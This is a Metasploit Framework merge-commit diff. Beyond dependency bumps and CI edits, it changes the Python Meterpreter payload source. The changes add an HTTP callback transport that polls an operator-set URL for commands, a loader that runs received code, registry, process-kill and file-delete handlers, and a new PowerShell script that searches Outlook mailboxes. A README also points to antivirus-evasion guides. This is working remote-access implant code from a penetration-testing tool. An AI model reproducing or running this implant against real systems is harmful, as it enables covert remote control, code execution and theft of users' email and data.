Merge remote-tracking branch 'upstream/master' into add_cisco_ssl_vpn_priv_esc
commit
e89a399f95
|
@ -83,3 +83,7 @@ data/meterpreter/screenshot.*.dll
|
|||
# private source. If you're interested in this functionality,
|
||||
# check out Metasploit Pro: http://metasploit.com/download
|
||||
data/meterpreter/ext_server_pivot.*.dll
|
||||
|
||||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
env:
|
||||
- RAKE_TASK=cucumber
|
||||
- RAKE_TASK=cucumber:boot
|
||||
# Commenting out the boot tests due to chronic timeouts.
|
||||
# - RAKE_TASK=cucumber:boot
|
||||
- RAKE_TASK=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASK=spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
|
@ -35,3 +36,9 @@ notifications:
|
|||
|
||||
git:
|
||||
depth: 5
|
||||
|
||||
# Blacklist certain branches from triggering travis builds
|
||||
branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
|
12
Gemfile.lock
12
Gemfile.lock
|
@ -22,7 +22,7 @@ PATH
|
|||
tzinfo
|
||||
metasploit-framework-db (4.10.1.pre.dev)
|
||||
activerecord (< 4.0.0)
|
||||
metasploit-credential (~> 0.13.3)
|
||||
metasploit-credential (~> 0.13.6)
|
||||
metasploit-framework (= 4.10.1.pre.dev)
|
||||
metasploit_data_models (~> 0.21.1)
|
||||
pg (>= 0.11)
|
||||
|
@ -62,7 +62,7 @@ GEM
|
|||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.3)
|
||||
arel-helpers (2.0.1)
|
||||
arel-helpers (2.0.2)
|
||||
activerecord (>= 3.1.0, < 5)
|
||||
aruba (0.6.1)
|
||||
childprocess (>= 0.3.6)
|
||||
|
@ -112,7 +112,7 @@ GEM
|
|||
metasploit-concern (0.3.0)
|
||||
activesupport (~> 3.0, >= 3.0.0)
|
||||
railties (< 4.0.0)
|
||||
metasploit-credential (0.13.3)
|
||||
metasploit-credential (0.13.6)
|
||||
metasploit-concern (~> 0.3.0)
|
||||
metasploit-model (~> 0.28.0)
|
||||
metasploit_data_models (~> 0.21.0)
|
||||
|
@ -139,7 +139,7 @@ GEM
|
|||
msgpack (0.5.9)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.4.1)
|
||||
nokogiri (1.6.5)
|
||||
mini_portile (~> 0.6.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
|
@ -171,11 +171,11 @@ GEM
|
|||
rake (>= 0.8.7)
|
||||
rdoc (~> 3.4)
|
||||
thor (>= 0.14.6, < 2.0)
|
||||
rake (10.3.2)
|
||||
rake (10.4.2)
|
||||
rb-readline (0.5.1)
|
||||
rdoc (3.12.2)
|
||||
json (~> 1.4)
|
||||
recog (1.0.5)
|
||||
recog (1.0.6)
|
||||
nokogiri
|
||||
redcarpet (3.1.2)
|
||||
rkelly-remix (0.0.6)
|
||||
|
|
Binary file not shown.
File diff suppressed because one or more lines are too long
|
@ -60,9 +60,13 @@ if sys.version_info[0] < 3:
|
|||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
|
@ -501,6 +505,8 @@ IFLA_MTU = 4
|
|||
IFA_ADDRESS = 1
|
||||
IFA_LABEL = 3
|
||||
|
||||
meterpreter.register_extension('stdapi')
|
||||
|
||||
def calculate_32bit_netmask(bits):
|
||||
if bits == 32:
|
||||
return 0xffffffff
|
||||
|
@ -669,8 +675,10 @@ def channel_open_stdapi_net_tcp_server(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getenv(request, response):
|
||||
for env_var in packet_enum_tlvs(request, TLV_TYPE_ENV_VARIABLE):
|
||||
pgroup = ''
|
||||
env_var = env_var['value'].translate(None, '%$')
|
||||
pgroup = bytes()
|
||||
env_var = env_var['value']
|
||||
env_var = env_var.replace('%', '')
|
||||
env_var = env_var.replace('$', '')
|
||||
env_val = os.environ.get(env_var)
|
||||
if env_val:
|
||||
pgroup += tlv_pack(TLV_TYPE_ENV_VARIABLE, env_var)
|
||||
|
@ -682,23 +690,25 @@ def stdapi_sys_config_getenv(request, response):
|
|||
def stdapi_sys_config_getsid(request, response):
|
||||
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
||||
if not token:
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
sid_str = ctypes.c_char_p()
|
||||
if not ctypes.windll.advapi32.ConvertSidToStringSidA(token.User.Sid, ctypes.byref(sid_str)):
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
sid_str = str(ctypes.string_at(sid_str))
|
||||
response += tlv_pack(TLV_TYPE_SID, sid_str)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_sys_config_getuid(request, response):
|
||||
if has_windll:
|
||||
if has_pwd:
|
||||
username = pwd.getpwuid(os.getuid()).pw_name
|
||||
elif has_windll:
|
||||
token = get_token_user(ctypes.windll.kernel32.GetCurrentProcess())
|
||||
if not token:
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
username = get_username_from_token(token)
|
||||
if not username:
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
else:
|
||||
username = getpass.getuser()
|
||||
response += tlv_pack(TLV_TYPE_USER_NAME, username)
|
||||
|
@ -786,9 +796,9 @@ def stdapi_sys_process_kill(request, response):
|
|||
k32 = ctypes.windll.kernel32
|
||||
proc_h = k32.OpenProcess(PROCESS_TERMINATE, False, pid)
|
||||
if not proc_h:
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
if not k32.TerminateProcess(proc_h, 0):
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
elif hasattr(os, 'kill'):
|
||||
os.kill(pid, 9)
|
||||
else:
|
||||
|
@ -855,7 +865,7 @@ def stdapi_sys_process_get_processes_via_windll(request, response):
|
|||
proc_snap = k32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
|
||||
result = k32.Process32First(proc_snap, ctypes.byref(pe32))
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
while result:
|
||||
proc_h = k32.OpenProcess((PROCESS_QUERY_INFORMATION | PROCESS_VM_READ), False, pe32.th32ProcessID)
|
||||
if not proc_h:
|
||||
|
@ -935,7 +945,6 @@ def stdapi_fs_delete_dir(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_delete_file(request, response):
|
||||
file_path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if os.path.exists(file_path):
|
||||
os.unlink(file_path)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -1338,10 +1347,10 @@ def stdapi_registry_create_key(request, response):
|
|||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
res_key = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_delete_key(request, response):
|
||||
|
@ -1432,21 +1441,20 @@ def stdapi_registry_open_key(request, response):
|
|||
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
||||
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
||||
handle_id = ctypes.c_void_p()
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegOpenKeyExA(root_key, ctypes.byref(base_key), 0, permission, ctypes.byref(handle_id)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, handle_id.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_open_remote_key(request, response):
|
||||
target_host = packet_get_tlv(request, TLV_TYPE_TARGET_HOST)['value']
|
||||
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
||||
result_key = ctypes.c_void_p()
|
||||
result = ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key))
|
||||
if (result == ERROR_SUCCESS):
|
||||
if ctypes.windll.advapi32.RegConnectRegistry(target_host, root_key, ctypes.byref(result_key)) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_HKEY, result_key.value)
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_class(request, response):
|
||||
|
@ -1454,11 +1462,10 @@ def stdapi_registry_query_class(request, response):
|
|||
value_data = (ctypes.c_char * 4096)()
|
||||
value_data_sz = ctypes.c_uint32()
|
||||
value_data_sz.value = ctypes.sizeof(value_data)
|
||||
result = ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None)
|
||||
if result == ERROR_SUCCESS:
|
||||
if ctypes.windll.advapi32.RegQueryInfoKeyA(hkey, value_data, ctypes.byref(value_data_sz), None, None, None, None, None, None, None, None, None) != ERROR_SUCCESS:
|
||||
return error_result_windows(), response
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data))
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_query_value(request, response):
|
||||
|
@ -1486,7 +1493,7 @@ def stdapi_registry_query_value(request, response):
|
|||
else:
|
||||
response += tlv_pack(TLV_TYPE_VALUE_DATA, ctypes.string_at(value_data, value_data_sz.value))
|
||||
return ERROR_SUCCESS, response
|
||||
return ERROR_FAILURE, response
|
||||
return error_result_windows(), response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
def stdapi_registry_set_value(request, response):
|
||||
|
|
|
@ -18,19 +18,51 @@ except ImportError:
|
|||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
# this MUST be imported for urllib to work on OSX
|
||||
try:
|
||||
import SystemConfiguration as osxsc
|
||||
has_osxsc = True
|
||||
except ImportError:
|
||||
has_osxsc = False
|
||||
|
||||
try:
|
||||
urllib_imports = ['ProxyHandler', 'Request', 'build_opener', 'install_opener', 'urlopen']
|
||||
if sys.version_info[0] < 3:
|
||||
urllib = __import__('urllib2', fromlist=urllib_imports)
|
||||
else:
|
||||
urllib = __import__('urllib.request', fromlist=urllib_imports)
|
||||
except ImportError:
|
||||
has_urllib = False
|
||||
else:
|
||||
has_urllib = True
|
||||
|
||||
if sys.version_info[0] < 3:
|
||||
is_str = lambda obj: issubclass(obj.__class__, str)
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, str)
|
||||
bytes = lambda *args: str(*args[:1])
|
||||
NULL_BYTE = '\x00'
|
||||
else:
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
if isinstance(__builtins__, dict):
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__['str'])
|
||||
str = lambda x: __builtins__['str'](x, 'UTF-8')
|
||||
else:
|
||||
is_str = lambda obj: issubclass(obj.__class__, __builtins__.str)
|
||||
str = lambda x: __builtins__.str(x, 'UTF-8')
|
||||
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
|
||||
NULL_BYTE = bytes('\x00', 'UTF-8')
|
||||
long = int
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
|
||||
# these values may be patched, DO NOT CHANGE THEM
|
||||
DEBUGGING = False
|
||||
HTTP_COMMUNICATION_TIMEOUT = 300
|
||||
HTTP_CONNECTION_URL = None
|
||||
HTTP_EXPIRATION_TIMEOUT = 604800
|
||||
HTTP_PROXY = None
|
||||
HTTP_USER_AGENT = None
|
||||
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
|
@ -40,6 +72,8 @@ PACKET_TYPE_PLAIN_RESPONSE = 11
|
|||
ERROR_SUCCESS = 0
|
||||
# not defined in original C implementation
|
||||
ERROR_FAILURE = 1
|
||||
ERROR_FAILURE_PYTHON = 2
|
||||
ERROR_FAILURE_WINDOWS = 3
|
||||
|
||||
CHANNEL_CLASS_BUFFERED = 0
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
|
@ -124,6 +158,50 @@ def generate_request_id():
|
|||
chars = 'abcdefghijklmnopqrstuvwxyz'
|
||||
return ''.join(random.choice(chars) for x in range(32))
|
||||
|
||||
@export
|
||||
def crc16(data):
|
||||
poly = 0x1021
|
||||
reg = 0x0000
|
||||
if is_str(data):
|
||||
data = list(map(ord, data))
|
||||
elif is_bytes(data):
|
||||
data = list(data)
|
||||
data.append(0)
|
||||
data.append(0)
|
||||
for byte in data:
|
||||
mask = 0x80
|
||||
while mask > 0:
|
||||
reg <<= 1
|
||||
if byte & mask:
|
||||
reg += 1
|
||||
mask >>= 1
|
||||
if reg > 0xffff:
|
||||
reg &= 0xffff
|
||||
reg ^= poly
|
||||
return reg
|
||||
|
||||
@export
|
||||
def error_result(exception=None):
|
||||
if not exception:
|
||||
_, exception, _ = sys.exc_info()
|
||||
exception_crc = crc16(exception.__class__.__name__)
|
||||
if exception_crc == 0x4cb2: # WindowsError
|
||||
return error_result_windows(exception.errno)
|
||||
else:
|
||||
result = ((exception_crc << 16) | ERROR_FAILURE_PYTHON)
|
||||
return result
|
||||
|
||||
@export
|
||||
def error_result_windows(error_number=None):
|
||||
if not has_windll:
|
||||
return ERROR_FAILURE
|
||||
if error_number == None:
|
||||
error_number = ctypes.windll.kernel32.GetLastError()
|
||||
if error_number > 0xffff:
|
||||
return ERROR_FAILURE
|
||||
result = ((error_number << 16) | ERROR_FAILURE_WINDOWS)
|
||||
return result
|
||||
|
||||
@export
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
|
@ -284,16 +362,48 @@ class STDProcess(subprocess.Popen):
|
|||
export(STDProcess)
|
||||
|
||||
class PythonMeterpreter(object):
|
||||
def __init__(self, socket):
|
||||
def __init__(self, socket=None):
|
||||
self.socket = socket
|
||||
self.driver = None
|
||||
self.running = False
|
||||
self.communications_active = True
|
||||
self.communications_last = 0
|
||||
if self.socket:
|
||||
self.driver = 'tcp'
|
||||
elif HTTP_CONNECTION_URL:
|
||||
self.driver = 'http'
|
||||
self.last_registered_extension = None
|
||||
self.extension_functions = {}
|
||||
self.channels = {}
|
||||
self.interact_channels = []
|
||||
self.processes = {}
|
||||
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
|
||||
self.extension_functions[func[1:]] = getattr(self, func)
|
||||
if self.driver:
|
||||
if hasattr(self, 'driver_init_' + self.driver):
|
||||
getattr(self, 'driver_init_' + self.driver)()
|
||||
self.running = True
|
||||
|
||||
def debug_print(self, msg):
|
||||
if DEBUGGING:
|
||||
print(msg)
|
||||
|
||||
def driver_init_http(self):
|
||||
if HTTP_PROXY:
|
||||
proxy_handler = urllib.ProxyHandler({'http': HTTP_PROXY})
|
||||
opener = urllib.build_opener(proxy_handler)
|
||||
else:
|
||||
opener = urllib.build_opener()
|
||||
if HTTP_USER_AGENT:
|
||||
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
|
||||
urllib.install_opener(opener)
|
||||
self._http_last_seen = time.time()
|
||||
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
|
||||
|
||||
def register_extension(self, extension_name):
|
||||
self.last_registered_extension = extension_name
|
||||
return self.last_registered_extension
|
||||
|
||||
def register_function(self, func):
|
||||
self.extension_functions[func.__name__] = func
|
||||
return func
|
||||
|
@ -318,19 +428,73 @@ class PythonMeterpreter(object):
|
|||
self.processes[idx] = process
|
||||
return idx
|
||||
|
||||
def get_packet(self):
|
||||
packet = getattr(self, 'get_packet_' + self.driver)()
|
||||
self.communications_last = time.time()
|
||||
if packet:
|
||||
self.communications_active = True
|
||||
return packet
|
||||
|
||||
def send_packet(self, packet):
|
||||
getattr(self, 'send_packet_' + self.driver)(packet)
|
||||
self.communications_last = time.time()
|
||||
self.communications_active = True
|
||||
|
||||
def get_packet_http(self):
|
||||
packet = None
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
packet = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
if packet:
|
||||
packet = packet[8:]
|
||||
else:
|
||||
packet = None
|
||||
return packet
|
||||
|
||||
def send_packet_http(self, packet):
|
||||
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
|
||||
try:
|
||||
url_h = urllib.urlopen(request)
|
||||
response = url_h.read()
|
||||
except:
|
||||
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
|
||||
self.running = False
|
||||
else:
|
||||
self._http_last_seen = time.time()
|
||||
|
||||
def get_packet_tcp(self):
|
||||
packet = None
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
packet = self.socket.recv(8)
|
||||
if len(packet) != 8:
|
||||
self.running = False
|
||||
return None
|
||||
pkt_length, pkt_type = struct.unpack('>II', packet)
|
||||
pkt_length -= 8
|
||||
packet = bytes()
|
||||
while len(packet) < pkt_length:
|
||||
packet += self.socket.recv(4096)
|
||||
return packet
|
||||
|
||||
def send_packet_tcp(self, packet):
|
||||
self.socket.send(packet)
|
||||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
req_length, req_type = struct.unpack('>II', request)
|
||||
req_length -= 8
|
||||
request = bytes()
|
||||
while len(request) < req_length:
|
||||
request += self.socket.recv(4096)
|
||||
request = None
|
||||
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
|
||||
self.communications_active = False
|
||||
if should_get_packet:
|
||||
request = self.get_packet()
|
||||
if request:
|
||||
response = self.create_response(request)
|
||||
self.socket.send(response)
|
||||
self.send_packet(response)
|
||||
else:
|
||||
# iterate over the keys because self.channels could be modified if one is closed
|
||||
channel_ids = list(self.channels.keys())
|
||||
|
@ -370,7 +534,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
|
||||
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
if data:
|
||||
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
|
||||
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
|
||||
|
@ -379,7 +543,7 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
|
||||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def handle_dead_resource_channel(self, channel_id):
|
||||
del self.channels[channel_id]
|
||||
|
@ -390,20 +554,24 @@ class PythonMeterpreter(object):
|
|||
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
|
||||
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
pkt = struct.pack('>I', len(pkt) + 4) + pkt
|
||||
self.socket.send(pkt)
|
||||
self.send_packet(pkt)
|
||||
|
||||
def _core_loadlib(self, request, response):
|
||||
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
|
||||
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
|
||||
return ERROR_FAILURE
|
||||
preloadlib_methods = list(self.extension_functions.keys())
|
||||
|
||||
self.last_registered_extension = None
|
||||
symbols_for_extensions = {'meterpreter':self}
|
||||
symbols_for_extensions.update(EXPORTED_SYMBOLS)
|
||||
i = code.InteractiveInterpreter(symbols_for_extensions)
|
||||
i.runcode(compile(data_tlv['value'], '', 'exec'))
|
||||
postloadlib_methods = list(self.extension_functions.keys())
|
||||
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
|
||||
for method in new_methods:
|
||||
extension_name = self.last_registered_extension
|
||||
|
||||
if extension_name:
|
||||
check_extension = lambda x: x.startswith(extension_name)
|
||||
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
|
||||
for method in lib_methods:
|
||||
response += tlv_pack(TLV_TYPE_METHOD, method)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -416,7 +584,7 @@ class PythonMeterpreter(object):
|
|||
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
|
||||
handler = 'channel_open_' + channel_type['value']
|
||||
if handler not in self.extension_functions:
|
||||
return ERROR_FAILURE, response
|
||||
return error_result(NotImplementedError), response
|
||||
handler = self.extension_functions[handler]
|
||||
return handler(request, response)
|
||||
|
||||
|
@ -524,18 +692,16 @@ class PythonMeterpreter(object):
|
|||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
if DEBUGGING:
|
||||
print('[*] running method ' + handler_name)
|
||||
self.debug_print('[*] running method ' + handler_name)
|
||||
result, resp = handler(request, resp)
|
||||
except Exception:
|
||||
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
|
||||
if DEBUGGING:
|
||||
print('[-] method ' + handler_name + ' resulted in an error')
|
||||
traceback.print_exc(file=sys.stderr)
|
||||
result = ERROR_FAILURE
|
||||
result = error_result()
|
||||
else:
|
||||
if DEBUGGING:
|
||||
print('[-] method ' + handler_name + ' was requested but does not exist')
|
||||
result = ERROR_FAILURE
|
||||
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
|
||||
result = error_result(NotImplementedError)
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
return resp
|
||||
|
@ -546,5 +712,8 @@ if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
|
|||
os.setsid()
|
||||
except OSError:
|
||||
pass
|
||||
if HTTP_CONNECTION_URL and has_urllib:
|
||||
met = PythonMeterpreter()
|
||||
else:
|
||||
met = PythonMeterpreter(s)
|
||||
met.run()
|
||||
|
|
|
@ -0,0 +1,47 @@
|
|||
function GetSubfolders($root) {
|
||||
$folders = @()
|
||||
$folders += $root
|
||||
foreach ($folder in $root.Folders) {
|
||||
$folders += GetSubfolders($folder)
|
||||
}
|
||||
return $folders
|
||||
}
|
||||
|
||||
function List-Folder {
|
||||
Clear-host
|
||||
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
|
||||
$Outlook = New-Object -ComObject Outlook.Application
|
||||
$Namespace = $Outlook.GetNameSpace("MAPI")
|
||||
$account = $NameSpace.Folders
|
||||
$folders = @()
|
||||
foreach ($acc in $account) {
|
||||
foreach ($folder in $acc.Folders) {
|
||||
$folders += GetSubfolders($folder)
|
||||
}
|
||||
}
|
||||
$folders | FT FolderPath
|
||||
}
|
||||
|
||||
function Get-Emails {
|
||||
param ([String]$searchTerm,[String]$Folder)
|
||||
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
|
||||
$Outlook = New-Object -ComObject Outlook.Application
|
||||
$Namespace = $Outlook.GetNameSpace("MAPI")
|
||||
$account = $NameSpace.Folders
|
||||
$found = $false
|
||||
foreach ($acc in $account) {
|
||||
try {
|
||||
$Email = $acc.Folders.Item($Folder).Items
|
||||
$result = $Email | Where-Object {$_.HTMLBody -like '*' + $searchTerm + '*' -or $_.TaskSubject -like '*' + $searchTerm + '*'}
|
||||
if($result) {
|
||||
$found = $true
|
||||
$result | Format-List To, SenderEmailAddress, CreationTime, TaskSubject, HTMLBody
|
||||
}
|
||||
} catch {
|
||||
Write-Host "Folder" $Folder "not found in mailbox" $acc.Name
|
||||
}
|
||||
}
|
||||
if(-Not $found) {
|
||||
Write-Host "Searchterm" $searchTerm "not found"
|
||||
}
|
||||
}
|
|
@ -0,0 +1,34 @@
|
|||
# Metasploit Developer Documentation
|
||||
|
||||
*(last updated December 1, 2014)
|
||||
|
||||
Metasploit is actively supported by a community of hundreds of
|
||||
contributors and thousands of users world-wide. As a result, the
|
||||
accompanying documentation moves quite quickly.
|
||||
|
||||
The best source of documentation on Metasploit development is
|
||||
https://github.com/rapid7/metasploit-framework/wiki. There are many
|
||||
treasures there, such as:
|
||||
|
||||
* [Evading Antivirus](https://github.com/rapid7/metasploit-framework/wiki/Evading-Anti-Virus)
|
||||
* [How Payloads Work](https://github.com/rapid7/metasploit-framework/wiki/How-payloads-work)
|
||||
* [How to use Datastore Options](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-datastore-options)
|
||||
* [How to write browser exploits with BES](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)
|
||||
* [How to write a bruteforcer](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-Msf%3A%3AAuxiliary%3A%3AAuthBrute-to-write-a-bruteforcer)
|
||||
|
||||
...and many, many more.
|
||||
|
||||
## API Documentation
|
||||
|
||||
If you are looking for API documentation, you may run `rake yard` to
|
||||
generate a navigatable view of the comment documentation used throughout
|
||||
Metasploit, or visit https://rapid7.github.io/metasploit-framework/api
|
||||
for a recently generated online version.
|
||||
|
||||
## Contributing
|
||||
|
||||
If you would like to contribute to the documentation effort, please see
|
||||
http://yardoc.org/ for details on how to write YARD-compatible comments,
|
||||
and send us a [Pull Request](https://github.com/rapid7/metasploit-framework/pulls)
|
||||
with your contribution.
|
||||
|
|
@ -1 +0,0 @@
|
|||
rake yard
|
|
@ -1,5 +0,0 @@
|
|||
This directory contains 2.7 -> 3.0 compatibility information.
|
||||
|
||||
|
||||
Exploit Modules: exploits.txt
|
||||
Payload Modules: payloads.txt
|
|
@ -1,161 +0,0 @@
|
|||
Unfinished modules
|
||||
==================
|
||||
|
||||
arkeia_agent_access
|
||||
gnu_mailutils_imap4d
|
||||
hpux_ftpd_preauth_list
|
||||
iis_source_dumper
|
||||
phpnuke_search_module
|
||||
realvnc_41_bypass
|
||||
solaris_snmpxdmid
|
||||
sygate_policy_manager
|
||||
uow_imap4_copy
|
||||
uow_imap4_lsub - partially (linux/imap/imap_uw_lsub.rb)
|
||||
wzdftpd_sitem
|
||||
|
||||
|
||||
Completed modules
|
||||
=================
|
||||
|
||||
afp_loginext exploit/osx/afp/loginext
|
||||
aim_goaway exploit/windows/browser/aim_goaway
|
||||
altn_webadmin exploit/windows/http/altn_webadmin
|
||||
apache_chunked_win32 exploit/windows/http/apache_chunked
|
||||
arkeia_type77_macos exploit/osx/arkeia/type77
|
||||
arkeia_type77_win32 exploit/windows/arkeia/type77
|
||||
awstats_configdir_exec exploit/unix/webapp/awstats_configdir_exec
|
||||
barracuda_img_exec exploit/unix/webapp/barracuda_img_exec
|
||||
backupexec_agent exploit/windows/backupexec/remote_agent
|
||||
backupexec_dump auxiliary/admin/backupexec/dump
|
||||
backupexec_ns exploit/windows/backupexec/name_service
|
||||
backupexec_registry auxiliary/admin/backupexec/registry
|
||||
badblue_ext_overflow exploit/windows/http/badblue_ext_overflow
|
||||
bakbone_netvault_heap exploit/windows/misc/bakbone_netvault_heap
|
||||
blackice_pam_icq exploit/windows/firewall/blackice_pam_icq
|
||||
bluecoat_winproxy exploit/windows/proxy/bluecoat_winproxy_host
|
||||
bomberclone_overflow_win32 exploit/windows/misc/bomberclone_overflow
|
||||
cabrightstor_disco exploit/windows/brightstor/discovery_udp
|
||||
cabrightstor_disco_servicepc exploit/windows/brightstor/discovery_tcp
|
||||
cabrightstor_sqlagent exploit/windows/brightstor/sql_agent
|
||||
cabrightstor_uniagent exploit/windows/brightstor/universal_agent
|
||||
cacam_logsecurity_win32 exploit/windows/unicenter/cam_log_security
|
||||
